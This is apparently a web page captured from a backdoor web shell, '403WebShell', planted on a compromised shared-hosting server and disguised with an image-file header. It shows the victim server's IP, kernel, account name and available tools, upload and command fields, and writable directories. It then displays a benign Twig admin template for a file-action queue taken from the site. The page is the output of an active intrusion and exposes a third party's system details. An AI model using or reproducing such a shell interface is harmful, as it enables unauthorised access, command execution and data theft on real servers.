����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.117.73.33
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/views/admin//file_manage_action_queue.html.twig
{% extends "admin/partial/layout_logged_in.html.twig" %}

{% block title %}Manage File Action Queue{% endblock %}
{% block selected_page %}files{% endblock %}
{% block selected_sub_page %}file_manage_queue{% endblock %}

{% block body %}
    <script>
        oTable = null;
        checkboxIds = {};
        gTableLoaded = false;
        $(document).ready(function () {
            // datatable
            oTable = $('#fileActionTable').dataTable({
                "sPaginationType": "full_numbers",
                "bServerSide": true,
                "bProcessing": true,
                "sAjaxSource": 'ajax/file_manage_action_queue',
                "iDisplayLength": 25,
                "aaSorting": [[1, "desc"]],
                "aoColumns": [
                    {bSortable: false, sWidth: '3%', sName: 'file_icon', sClass: "center adminResponsiveHide"},
                    {sName: 'date_added', sWidth: '15%', sClass: "center adminResponsiveHide"},
                    {sName: 'server', sWidth: '14%', sClass: "center adminResponsiveHide"},
                    {sName: 'file_path'},
                    {sName: 'file_action', sWidth: '10%', sClass: "center adminResponsiveHide"},
                    {sName: 'status', sWidth: '17%', sClass: "center"},
                    {bSortable: false, sWidth: '90px', sClass: "center"}
                ],
                "fnServerData": function (sSource, aoData, fnCallback) {
                    setTableLoading();
                    aoData.push({"name": "filterText", "value": $('#filterText').val()});
                    aoData.push({"name": "filterByServer", "value": $('#filterByServer').val()});
                    aoData.push({"name": "filterByStatus", "value": $('#filterByStatus').val()});
                    $.ajax({
                        "dataType": 'json',
                        "type": "GET",
                        "url": sSource,
                        "data": aoData,
                        "success": fnCallback
                    });
                    gTableLoaded = true;
                },
                "fnDrawCallback": function (oSettings) {
                    postDatatableRender();
                },
                dom: "lBfrtip",
                buttons: [
                    {
                        extend: "copy",
                        className: "btn-sm"
                    },
                    {
                        extend: "csv",
                        className: "btn-sm"
                    },
                    {
                        extend: "excel",
                        className: "btn-sm"
                    },
                    {
                        extend: "pdfHtml5",
                        className: "btn-sm"
                    },
                    {
                        extend: "print",
                        className: "btn-sm"
                    }
                ]
            });

            // update custom filter
            $('.dataTables_filter').html($('#customFilter').html());

            // refresh every 10 seconds
            window.setInterval(function () {
                if (gTableLoaded == false)
                {
                    return true;
                }
                gTableLoaded = false;
                reloadTable();
            }, 20000);
        });

        function reloadTable()
        {
            oTable.fnDraw(false);
        }

        function cancelItem(itemId)
        {
            if (confirm('Are you sure you want to cancel this item? This will not restore the file, it will simply stop it processing in this queue.'))
            {
                window.location = "file_manage_action_queue?cancel=" + itemId;
            }

            return false;
        }

        function restoreItem(itemId)
        {
            if (confirm('Are you sure you want to restore this file? It\'ll be returned into the script as it existed previously.'))
            {
                window.location = "file_manage_action_queue?restore=" + itemId;
            }
        }
    </script>

    <!-- page content -->
    <div class="right_col" role="main">
        <div class="">
            <div class="page-title">
                <div class="title_left">
                    <h3>{{ block('title') }}</h3>
                </div>
            </div>
            <div class="clearfix"></div>

            {{ msg_page_notifications|raw }}
            <div class="row">
                <div class="col-md-12 col-sm-12 col-xs-12">
                    <div class="x_panel">
                        <div class="x_title">
                            <h2>List Of File Actions ({{ totalPendingFileActions }} Pending)</h2>
                            <div class="clearfix"></div>
                        </div>
                        <div class="x_content">
                            <p>Below is listed any actions on core files. So queued deletes, moves etc. This page will automatically update every 20 seconds.</p>
                            <p><strong>Note:</strong> If the below queue isn't processing, please ensure you've setup all the cron tasks, including any crons on external file servers. Full details can be seen via our <a href="https://support.mfscripts.com/public/kb_view/26/" target="_blank">knowledge base</a>.</p>
                            <table id="fileActionTable" class="table table-striped table-only-border dtLoading bulk_action">
                                <thead>
                                    <tr>
                                        <th></th>
                                        <th>{{ t('date_added', 'Date Added') }}</th>
                                        <th>{{ t('server', 'Server') }}</th>
                                        <th>{{ t('file_path', 'File Path') }}</th>
                                        <th>{{ t('file_action', 'File Action') }}</th>
                                        <th>{{ t('status', 'Status') }}</th>
                                        <th>{{ t('actions', 'Actions') }}</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <tr>
                                        <td colspan="20">{{ t('admin_loading_data', 'Loading data...') }}</td>
                                    </tr>
                                </tbody>
                            </table>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="customFilter" id="customFilter" style="display: none;">
        <label>
            Filter By Filename:
            <input name="filterText" id="filterText" type="text" value="{{ filterText }}" onKeyUp="reloadTable();
                return false;" style="width: 160px;" class="form-control"/>
        </label>
        <label class="adminResponsiveHide" style="padding-left: 6px;">
            By Server:
            <select name="filterByServer" id="filterByServer" onChange="reloadTable();
                return false;" style="width: 120px;" class="form-control">
                <option value="">- all -</option>
                {% for serverDetail in serverDetails %}
                    <option value="{{ serverDetail['id'] }}"{{ filterByServer == serverDetail['id']?' SELECTED':'' }}>{{ serverDetail['serverLabel'] }}</option>
                {% endfor %}
            </select>
        </label>
        <label class="adminResponsiveHide" style="padding-left: 6px;">
            By Status:
            <select name="filterByStatus" id="filterByStatus" onChange="reloadTable();
                return false;" style="width: 120px;" class="form-control">
                <option value="">- all -</option>
                {% for statusDetail in statusDetails %}
                    <option value="{{ statusDetail }}"{{ filterByStatus == statusDetail?' SELECTED':'' }}>{{ statusDetail|title }}</option>
                {% endfor %}
            </select>
        </label>
    </div>
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit